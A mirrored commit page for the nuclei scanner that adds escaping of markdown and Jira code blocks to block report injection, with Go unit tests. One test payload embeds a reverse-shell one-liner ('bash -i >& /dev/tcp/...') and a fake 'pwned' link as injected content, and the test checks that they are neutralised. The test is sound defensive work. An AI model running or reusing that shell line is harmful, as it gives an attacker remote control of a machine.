mirror of
https://github.com/projectdiscovery/nuclei.git
synced 2025-12-23 17:15:25 +00:00
feat: escape code blocks for markdown formatting (#6089)
This commit is contained in:
parent
d56524933f
commit
d10b7f7382
@ -2,6 +2,7 @@ package util
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
type MarkdownFormatter struct{}
|
type MarkdownFormatter struct{}
|
||||||
@ -11,7 +12,8 @@ func (markdownFormatter MarkdownFormatter) MakeBold(text string) string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (markdownFormatter MarkdownFormatter) CreateCodeBlock(title string, content string, language string) string {
|
func (markdownFormatter MarkdownFormatter) CreateCodeBlock(title string, content string, language string) string {
|
||||||
return fmt.Sprintf("\n%s\n```%s\n%s\n```\n", markdownFormatter.MakeBold(title), language, content)
|
escapedContent := escapeCodeBlockMarkdown(content)
|
||||||
|
return fmt.Sprintf("\n%s\n```%s\n%s\n```\n", markdownFormatter.MakeBold(title), language, escapedContent)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (markdownFormatter MarkdownFormatter) CreateTable(headers []string, rows [][]string) (string, error) {
|
func (markdownFormatter MarkdownFormatter) CreateTable(headers []string, rows [][]string) (string, error) {
|
||||||
@ -25,3 +27,20 @@ func (markdownFormatter MarkdownFormatter) CreateLink(title string, url string)
|
|||||||
func (markdownFormatter MarkdownFormatter) CreateHorizontalLine() string {
|
func (markdownFormatter MarkdownFormatter) CreateHorizontalLine() string {
|
||||||
return CreateHorizontalLine()
|
return CreateHorizontalLine()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// escapeCodeBlockMarkdown only escapes the bare minimum characters needed
|
||||||
|
// for code blocks and other sections where readability is important
|
||||||
|
//
|
||||||
|
// For content inside code blocks, we only need to escape backticks
|
||||||
|
// and backslashes to prevent breaking out
|
||||||
|
func escapeCodeBlockMarkdown(text string) string {
|
||||||
|
minimalChars := []string{
|
||||||
|
"\\", "`",
|
||||||
|
}
|
||||||
|
|
||||||
|
result := text
|
||||||
|
for _, char := range minimalChars {
|
||||||
|
result = strings.ReplaceAll(result, char, "\\"+char)
|
||||||
|
}
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|||||||
@ -89,3 +89,54 @@ func TestCreateTemplateInfoTable3Columns(t *testing.T) {
|
|||||||
require.Nil(t, err)
|
require.Nil(t, err)
|
||||||
require.Equal(t, expected, table)
|
require.Equal(t, expected, table)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestEscapeCodeBlockMarkdown(t *testing.T) {
|
||||||
|
testCases := []struct {
|
||||||
|
name string
|
||||||
|
input string
|
||||||
|
expected string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "no special characters",
|
||||||
|
input: "normal text without special chars",
|
||||||
|
expected: "normal text without special chars",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "with backticks",
|
||||||
|
input: "text with `backticks` inside",
|
||||||
|
expected: "text with \\`backticks\\` inside",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "with backslashes",
|
||||||
|
input: "text with \\ backslash",
|
||||||
|
expected: "text with \\\\ backslash",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "with both backticks and backslashes",
|
||||||
|
input: "text with `backticks` and \\ backslash",
|
||||||
|
expected: "text with \\`backticks\\` and \\\\ backslash",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "with code block",
|
||||||
|
input: "```code block```",
|
||||||
|
expected: "\\`\\`\\`code block\\`\\`\\`",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "with escaped backtick",
|
||||||
|
input: "escaped \\` backtick",
|
||||||
|
expected: "escaped \\\\\\` backtick",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "with multiple consecutive backticks",
|
||||||
|
input: "``double backticks``",
|
||||||
|
expected: "\\`\\`double backticks\\`\\`",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tc := range testCases {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
result := escapeCodeBlockMarkdown(tc.input)
|
||||||
|
require.Equal(t, tc.expected, result, "Failed to properly escape markdown for code blocks")
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@ -1,12 +1,14 @@
|
|||||||
package format
|
package format
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"fmt"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"github.com/projectdiscovery/nuclei/v3/pkg/model"
|
"github.com/projectdiscovery/nuclei/v3/pkg/model"
|
||||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
|
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
|
||||||
|
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util"
|
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util"
|
||||||
"github.com/stretchr/testify/require"
|
"github.com/stretchr/testify/require"
|
||||||
)
|
)
|
||||||
@ -46,3 +48,28 @@ func TestToMarkdownTableString(t *testing.T) {
|
|||||||
require.Equal(t, strings.Split(expectedOrderedAttributes, "\n"), actualAttributeSlice[:dynamicAttributeIndex]) // the first part of the result is ordered
|
require.Equal(t, strings.Split(expectedOrderedAttributes, "\n"), actualAttributeSlice[:dynamicAttributeIndex]) // the first part of the result is ordered
|
||||||
require.ElementsMatch(t, expectedDynamicAttributes, actualAttributeSlice[dynamicAttributeIndex:]) // dynamic parameters are not ordered
|
require.ElementsMatch(t, expectedDynamicAttributes, actualAttributeSlice[dynamicAttributeIndex:]) // dynamic parameters are not ordered
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestCreateReportDescription_MarkdownInjection(t *testing.T) {
|
||||||
|
// Setup a mock result event with malicious payload in various fields
|
||||||
|
event := &output.ResultEvent{
|
||||||
|
TemplateID: "test-template",
|
||||||
|
Host: "example.com",
|
||||||
|
Matched: "https://example.com/vulnerable",
|
||||||
|
Type: "http",
|
||||||
|
Info: model.Info{
|
||||||
|
Name: "Test Template",
|
||||||
|
Authors: stringslice.StringSlice{Value: []string{"researcher"}},
|
||||||
|
SeverityHolder: severity.Holder{Severity: severity.High},
|
||||||
|
Tags: stringslice.StringSlice{Value: []string{"test"}},
|
||||||
|
},
|
||||||
|
Request: "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
|
||||||
|
Response: "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<html><body>Hello, world\r\n\r\n```\r\n\r\nReferences:\r\n- https://rce.ee/pwned\r\n\r\n**CURL command**\r\n```sh\r\nbash -i >& /dev/tcp/10.0.0.1/4242 0>&1\r\n```\r\n</body></html>",
|
||||||
|
CURLCommand: "curl -X GET https://example.com",
|
||||||
|
}
|
||||||
|
|
||||||
|
result := CreateReportDescription(event, &util.MarkdownFormatter{}, false)
|
||||||
|
fmt.Println(result)
|
||||||
|
|
||||||
|
require.NotContains(t, result, "```\r\n\r\nReferences:\r\n- https://rce.ee/pwned")
|
||||||
|
require.NotContains(t, result, "```sh\r\nbash -i >& /dev/tcp")
|
||||||
|
}
|
||||||
|
|||||||
@ -29,7 +29,8 @@ func (jiraFormatter *Formatter) MakeBold(text string) string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (jiraFormatter *Formatter) CreateCodeBlock(title string, content string, _ string) string {
|
func (jiraFormatter *Formatter) CreateCodeBlock(title string, content string, _ string) string {
|
||||||
return fmt.Sprintf("\n%s\n{code}\n%s\n{code}\n", jiraFormatter.MakeBold(title), content)
|
escapedContent := strings.ReplaceAll(content, "{code}", "")
|
||||||
|
return fmt.Sprintf("\n%s\n{code}\n%s\n{code}\n", jiraFormatter.MakeBold(title), escapedContent)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (jiraFormatter *Formatter) CreateTable(headers []string, rows [][]string) (string, error) {
|
func (jiraFormatter *Formatter) CreateTable(headers []string, rows [][]string) (string, error) {
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user